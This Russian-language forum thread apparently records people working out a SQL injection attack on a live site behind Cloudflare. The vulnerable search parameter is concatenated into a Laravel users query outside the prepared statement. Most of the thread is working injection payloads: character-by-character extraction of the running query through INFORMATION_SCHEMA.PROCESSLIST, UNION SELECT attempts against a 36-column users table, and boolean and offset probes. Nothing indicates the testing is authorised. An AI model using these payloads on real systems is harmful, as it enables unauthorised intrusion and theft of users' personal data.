Сообщение от
crlf
↑
Простое произведение, при котором получается отрицательное значение
Запрос может быть сложный, многострочный, результат уходить в другой запрос, но при этом фильтроваться корректно и т.д. и т.п. Чтоб не гадать на кофейной гуще, можно считать текущий запрос посимвольно, как-то так:
Код:
SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%123%"
нашел способ быстро крутить запрос по символам
Код:
sdfsdf") or id=(select INSTR(' !"#`$%&()*+,-./0123456789:;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_', (SELECT SUBSTRING(INFO,1,1) FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%selfquery%"))) or ("qwerty
мб кому то будет полезно))
нашел запрос (ps: все записал в апперкейсе так как INSTR caseinsensetive и не стал парится по этому поводу)
Код:
SELECT
`USERS`.*,
(
SELECT COUNT(*) FROM `USERS` AS `LARAVEL_RESERVED_0`
WHERE `USERS`.`ID` = `LARAVEL_RESERVED_0`.`REFERRER_ID` AND`LARAVEL_RESERVED_0`.`DELETED_AT` IS NULL
) AS `REFERRALS_COUNT`
FROM `USERS`
WHERE `REFERRER_ID` = ? AND(
`EMAIL` LIKE ? OR `IP` LIKE ?
OR CONCAT_WS('', LAST_NAME, '', NAME, '', MIDDLE_NAME) LIKE "%{INJECTION_HERE}%" OR `id`= ?) AND `USERS`.`DELETED_AT` IS NULL ORDER BY `ID` DESC LIMIT 20 OFFSET 0
вместо всех вопросов подставляется $_GET['search'] кроме `REFERRER_ID` = ?
но уязвивымый только CONCAT_WS('', LAST_NAME, '', NAME, '', MIDDLE_NAME) так как он идет в обход prepard statement
если там многострочный запрос, то думаю так обходить
Код:
notfound") union select *, 134 as 'referrals_count' from users where id=1 or (name="
снова ошибка....хотя локально воспроизвел и все ок
и не могу понять почему `notfound") union select 1 from users where id=1 or (name="` ошибок нет. но если убрать notfound то ошибка
сайт под cloudflare. мб как то фильтрует
количество колонок в таблице users = 36. +1 за REFERRALS_COUNT
попробовал union select 1,2,....37 ---
ошибка(
еще немного инфы
Код:
") or 1=1 limit 10 offset 0 -- -
возвращает первые 10
Код:
") or 1=1 limit 10 offset 1 -- -
ничего не возвращает
Код:
") or id=(select count(*) from users where id in (1,2,3,4) limit 1) -- -
выводит запись под id=4. как так? мозг кипит...